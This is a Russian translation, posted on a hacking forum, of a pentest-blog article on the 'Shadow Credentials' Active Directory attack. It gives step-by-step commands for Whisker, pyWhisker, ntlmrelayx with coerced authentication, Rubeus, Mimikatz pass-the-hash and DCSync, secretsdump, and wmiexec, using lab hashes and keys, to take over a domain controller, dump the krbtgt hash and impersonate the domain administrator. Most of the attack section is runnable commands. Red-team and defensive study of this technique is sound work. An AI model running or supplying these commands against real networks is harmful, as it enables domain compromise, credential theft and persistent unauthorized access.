• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Теневые учетные данные

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Microsoft представила Windows Hello для бизнеса (WHfB), чтобы заменить традиционную аутентификацию на основе пароля моделью доверия на основе ключа. Эта реализация использует PIN-код или биометрические данные, которые связаны с парой криптографических сертификатов, чтобы пользователи в домене могли получать доступ к ресурсам. У учетных записей пользователей или компьютеров может быть несколько ключевых учетных данных, которые могут соответствовать разным устройствам. Информация хранится в атрибуте активного каталога msDS-KeyCredentialLink и появилась в Windows Server 2016 и Windows 10 1703.

Как и в случае с любой новой технологией или функцией, появляется новая поверхность атаки, которая может быть потенциальной для злоупотреблений. Во время Black Hat Europe 2019 Майкл Графнеттер обсудил несколько атак на Windows Hello для бизнеса, в том числе технику сохранения в домене, которая включает изменение атрибута msDS-KeyCredentialLink целевого компьютера или учетной записи пользователя. Злоумышленник, использующий криптографию с открытым ключом, может изменить этот атрибут для учетной записи, у которой есть разрешения, чтобы получить билет на предоставление билета (TGT), что может привести к получению хэша NTLM. В случае изменения пароля целевой учетной записи этот атрибут не пострадает, поэтому субъект угрозы может постоянно использовать этот метод для получения либо хэша NTLM, либо служебного билета, выдающего билет, для администратора домена. Следующая диаграмма визуализирует шаги техники Shadow Credentials на практике.

1646296733785.png


Разрешения на изменение этого атрибута в Active Directory имеют учетные записи, входящие в группы:

- Ключевые администраторы
- Ключевые администраторы предприятия

1646296751585.png


В качестве альтернативы, если скомпрометирована учетная запись, имеющая разрешения GenericAll или GenericWrite для объекта (учетной записи компьютера или учетной записи пользователя) в Active Directory, можно использовать для сохранения или горизонтального перемещения, если это влияет на учетную запись компьютера.

1646296762289.png


Оба этих разрешения наследуют права на чтение и запись атрибута msDS-KeyCredentialLink, необходимого для проведения атаки.

1646296775271.png


Элад Шамир выпустил инструмент под названием Whisker, который может помочь RT использовать эту технику в операциях RT. Инструмент создаст сертификат и асимметричный ключ и сохранит эту информацию в атрибуте msDS-KeyCredentialLink. Сгенерированный сертификат можно использовать с Rubeus, чтобы запросить билет на предоставление билета и расширить атаку.

Whisker.exe add /target:dc$ /domain:purple.lab /dc:dc.purple.lab

1646296792574.png


Проверить, что атрибут был обновлен, можно с помощью флага “list” в отношении целевой учетной записи. Информация, хранящаяся в атрибуте msDS-KeyCredentialLInk, включает следующее:

- ID пользователя
- Открытый ключ
- Идентификатор устройства
- Время последнего входа в систему
- Аттестационные данные


Однако инструмент ограничивает эти результаты только идентификатором устройства и временем последнего входа в систему по сравнению с его реализацией pyWhisker на Python, которая подробно описана в разделе, в котором обсуждается метод из систем, не присоединенных к домену.

Whisker.exe list /target:dc$ /domain:purple.lab /dc:dc.purple.lab

1646296853709.png


С точки зрения Active Directory значение атрибута будет иметь формат, аналогичный изображенному ниже. Однако прочитать или изменить это значение с помощью Microsoft ADSI Edit невозможно.

1646296865604.png


Whisker в своем выводе предоставит команду Rubeus. С помощью этой команды можно запросить билет на выдачу билета, используя аутентификацию на основе сертификата.

1646296878017.png


Билет будет получен в формате base-64.

1646296897719.png


Билет будет кэширован в памяти и будет принадлежать учетной записи компьютера контроллера домена, поскольку это была целевая учетная запись. Хэш NTLM учетной записи компьютера также будет отображаться в результатах и может быть использован для прохождения хеш-атак. Существуют различные случаи, когда оператор красной команды может использовать либо билет, либо хэш для проведения дальнейших атак, которые могут привести либо к дампу хэшей активного каталога с помощью DCSync, либо к повторному получению доступа к контроллеру домена и другим конфиденциальным хостам в сети с помощью олицетворение учетных записей администратора домена.

1646296909595.png


Mimikatz можно использовать для выполнения хэш-атак на учетные записи из сеанса с повышенными правами. Выполнение следующей команды откроет новый сеанс в качестве учетной записи DC$.

privilege::debug
sekurlsa::pth /user:DC$ /domain:purple.lab /ntlm:5de006c3bf93d30195dff6fadd92a74c

1646296933318.png


Из нового сеанса Mimikatz можно запустить снова, чтобы сбросить хэши паролей учетных записей Active Directory, таких как учетная запись krbtgt. Используя хэш NTLM учетной записи krbtgt, можно создать золотой билет в качестве метода персистентности вторичного домена.

lsadump::dcsync /domain:purple.lab /user:krbtgt

1646296967140.png


Кроме того, билет, принадлежащий учетной записи DC$, можно использовать для запроса билетов службы для учетных записей администратора домена с помощью службы расширения Kerberos для пользователя. Rubeus может взаимодействовать с протоколом Kerberos, и выполнение следующей команды с сертификатом, принадлежащим учетной записи компьютера DC$, позволит получить билет для службы cifs контроллера домена. Этот билет будет запрошен от имени учетной записи администратора домена.

Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc.purple.lab /dc:dc.purple.lab /ptt /ticket:[Base64 TGT]

1646296988438.png


Билет TGS будет получен и кэширован в памяти.Следует отметить, что служебные билеты могут быть запрошены для доступа к другим конфиденциальным хостам за пределами контроллера домена, чтобы информация могла быть отфильтрована и правильно использована в отчете.

1646297001860.png


Поскольку служебный билет хранится в памяти, к ресурсам контроллера домена можно получить доступ с хоста, используя стандартные учетные записи пользователей.

dir \\dc.purple.lab\c$

1646297017082.png



Non-Domain Joined

Этот метод также может быть выполнен из систем, не присоединенных к домену, если известны учетные данные учетной записи администратора домена или учетной записи, имеющей необходимые привилегии. Чарли Бромберг выпустил реализацию Whisker на Python под названием pyWhisker, чтобы помочь с операциями с хостов, которые не подключены к домену. Выполнение первой команды будет отображать только идентификатор устройства и время создания, выводимые с целевого хоста, у которого уже есть пара ключей в атрибуте msDS-KeyCredentialLink, аналогичная реализации инструмента на C#. Однако инструмент также может распечатать всю информацию, содержащуюся в структуре KeyCredential, используя информационный флаг с соответствующим идентификатором устройства.

python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "list"
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "info" --device-id 730406d6-bcd3-4427-a14b-b0420924a149


1646297040386.png



Выполнение следующей команды выполнит атаку, и сгенерированный сертификат будет сохранен локально в формате .PFX. Используя этот сертификат, можно получить хэш NTLM для учетной записи компьютера или билета на выдачу билета.

python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "add" --filename dc

Сертификат можно использовать с инструментами PKINITtools от Dirk-jan Mollema для аутентификации в Центре распространения ключей (KDC) и запроса билета на предоставление билета, который будет сохранен в формате .ccache.

1646297065411.png



Билет может быть кэширован в текущем сеансе с помощью команды export, а с помощью ключа шифрования AS-REP хэш NTLM учетной записи компьютера может быть получен из PAC аналогично методу сохранения учетной записи сертификата.

export KRB5CCNAME=/home/kali/PKINITtools/dc\$.ccache
python3 getnthash.py -key c1f6bf9a8a7daeaf5c9b68cab6609994b233fa9b3fc30de747f0950111e545c5 purple.lab/dc$


1646297169265.png



В экосистемах Windows Mimikatz можно использовать для извлечения хэшей домена с использованием техники DCSync. В средах Linux secretsdump из пакета Impacket можно использовать для создания дампа хэша учетной записи krbtgt с использованием хэша учетной записи компьютера контроллера домена.

python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user krbtgt

1646297218553.png


Восстановление доступа к контроллеру домена также является тривиальным путем получения хэша пароля учетной записи администратора домена, а затем использования передачи хэша с помощью инструмента wmiexec python.

python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user Administrator
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1


1646297193057.png


Принудительная аутентификация

Техника теневых учетных данных также была реализована в версии ntlmrelayx Чарли Бромбергом.
Атака может проводиться в сочетании с принудительной аутентификацией, такой как PetitPotam, printbug или ShadowCoerce.

python3 ntlmrelayx.py -t ldap://ca --shadow-credentials --shadow-target 'dc$'

1646297294844.png


Однако выполнение метода с методом принудительной аутентификации имеет ограничение, поскольку невозможно передать аутентификацию с SMB на LDAP. Поэтому прямое выполнение вышеуказанных эксплойтов не должно работать, если аутентификация не передается сначала по альтернативному протоколу, такому как HTTP, а затем передается обратно на хост, на котором запущен прослушиватель. Альтернативным подходом может быть запуск аутентификации с помощью инструмента Change-Lockscreen от NCC Group в контексте учетной записи, которая имеет необходимые привилегии для изменения атрибута msDS-KeyCredentialLink.

Change-Lockscreen.exe -Webdav \\kali1@80\

1646297313694.png


Сертификат будет извлечен в формате PFX со случайной строкой пароля. Их можно использовать с инструментом Python gettgtpkinit, чтобы запросить билет на предоставление билета Kerberos.

python3 gettgtpkinit.py -cert-pfx ezlCyMJk.pfx -pfx-pass i0Oyg3xgWMCUKDmiB9yI purple.lab/dc$ p6nC1xBQ.ccache

1646297334062.png


Билет можно кэшировать в текущем сеансе с помощью команды экспорта и пути к билету. Аналогично тому, как это использовалось ранее в статье, NTLM-хэш учетной записи DC$ можно было получить из PAC с помощью скрипта Python getnthash.

export KRB5CCNAME=/home/kali/PKINITtools/ezlCyMJk.ccache
python3 getnthash.py -key a52b696a23f6f838b45c475caeca7a118d7f5463af89bc4c8246d83fab1ea80e purple.lab/dc$


1646297353138.png


Служебные билеты также можно запрашивать с хостов Linux с помощью сценария Python gets4uticket. Кэшированный билет, который был запрошен ранее, можно использовать для выполнения проверки подлинности Kerberos и запроса билета TGS, который будет сохранен в формате .ccache для службы cifs путем олицетворения учетной записи администратора домена. Билет службы может быть кэширован в памяти, и, поскольку билет принадлежит учетной записи администратора домена, wmiexec с аутентификацией Kerberos можно использовать для доступа к контроллеру домена.

python3 gets4uticket.py kerberos+ccache://purple.lab\\dc\$:ezlCyMJk.ccache@dc.purple.lab cifs/dc.purple.lab@purple.lab administrator@purple.lab admin.ccache -v
export KRB5CCNAME=/home/kali/PKINITtools/administrator_tgs.ccache
wmiexec.py -k -no-pass purple.lab/administrator@dc.purple.lab


1646297412251.png


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/02/07/shadow-credentials/
 

Вложения

  • 1646297144973.png
    1646297144973.png
    35 КБ · Просмотры: 4


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх